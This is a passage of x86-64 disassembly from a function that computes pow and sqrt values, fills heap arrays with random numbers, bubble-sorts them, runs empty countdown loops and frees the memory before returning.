movq rax, xmm5
movsd xmm0, qword [0x39c565118]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x4c80], eax
add dword [rbp + 0x4c88], 1
cmp dword [rbp + 0x4c88], 0xad
jle 0x39c5231d7
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x4c80]
movss xmm1, dword [0x39c565140]
divss xmm0, xmm1
movss dword [rbp + 0x3114], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x3114]
movq rax, xmm3
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x3110], xmm0
mov rax, qword [rbp + 0x3118]
mov rcx, rax
call sym.free
mov ecx, 0x16c
call sym.malloc
mov qword [rbp + 0x3108], rax
mov dword [rbp + 0x4c7c], 0
jmp 0x39c523313
call sym.rand
mov edx, dword [rbp + 0x4c7c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3108]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x4c7c], 1
cmp dword [rbp + 0x4c7c], 0x5a
jle 0x39c5232c6
mov dword [rbp + 0x4c7c], 0
jmp 0x39c523428
mov dword [rbp + 0x64c], 0
jmp 0x39c52340a
mov eax, dword [rbp + 0x4c7c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3108]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x64c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x3108]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x39c523403
mov eax, dword [rbp + 0x64c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3108]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x648], eax
mov eax, dword [rbp + 0x4c7c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3108]
add rax, rdx
mov edx, dword [rbp + 0x64c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3108]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x64c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3108]
add rdx, rax
mov eax, dword [rbp + 0x648]
mov dword [rdx], eax
add dword [rbp + 0x4c7c], 1
mov eax, 0x5a
sub eax, dword [rbp + 0x4c7c]
cmp dword [rbp + 0x64c], eax
jl 0x39c52333a
add dword [rbp + 0x4c7c], 1
cmp dword [rbp + 0x4c7c], 0x5a
jle 0x39c52332b
mov rax, qword [rbp + 0x3108]
mov rcx, rax
call sym.free
mov dword [rbp + 0x4c78], 0xbe
jmp 0x39c523457
sub dword [rbp + 0x4c78], 1
cmp dword [rbp + 0x4c78], 0x48
jg 0x39c523450
mov dword [rbp + 0x4c74], 0x78
jmp 0x39c523473
sub dword [rbp + 0x4c74], 1
cmp dword [rbp + 0x4c74], 0
jg 0x39c52346c
movss xmm1, dword [rbp + 0x4ce0]
movss xmm0, dword [0x39c565144]
mulss xmm0, xmm1
movss dword [rbp + 0x4ce0], xmm0
mov ecx, 0x150
call sym.malloc
mov qword [rbp + 0x3100], rax
mov dword [rbp + 0x4c70], 0
jmp 0x39c523541
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x4c70]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3100]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x4c70], 1
cmp dword [rbp + 0x4c70], 0x53
jle 0x39c5234b8
mov dword [rbp + 0x4c70], 0
jmp 0x39c52366a
mov dword [rbp + 0x654], 0
jmp 0x39c52364c
mov eax, dword [rbp + 0x4c70]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3100]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x654]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3100]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x39c523645
mov eax, 0x53
sub eax, dword [rbp + 0x4c70]
cmp dword [rbp + 0x654], eax
jl 0x39c52356c
add dword [rbp + 0x4c70], 1
cmp dword [rbp + 0x4c70], 0x53
jle 0x39c52355d
mov rax, qword [rbp + 0x3100]
mov rcx, rax
call sym.free
mov ecx, 0x7c0
call sym.malloc
mov qword [rbp + 0x30f8], rax
mov dword [rbp + 0x4c6c], 0
mov dword [rbp + 0x30f4], 1
mov dword [rbp + 0x4c68], 0
jmp 0x39c523725
mov dword [rbp + 0x4c64], 0
jmp 0x39c523715
cmp dword [rbp + 0x4c68], 0x1e
jle 0x39c5236b7
mov dword [rbp + 0x4c68], 0
jmp 0x39c52378c
mov eax, dword [rbp + 0x3274]
movups xmm6, xmmword [rbp + 0x4d00]
add rsp, 0x4d98
pop rbx
pop rbp
ret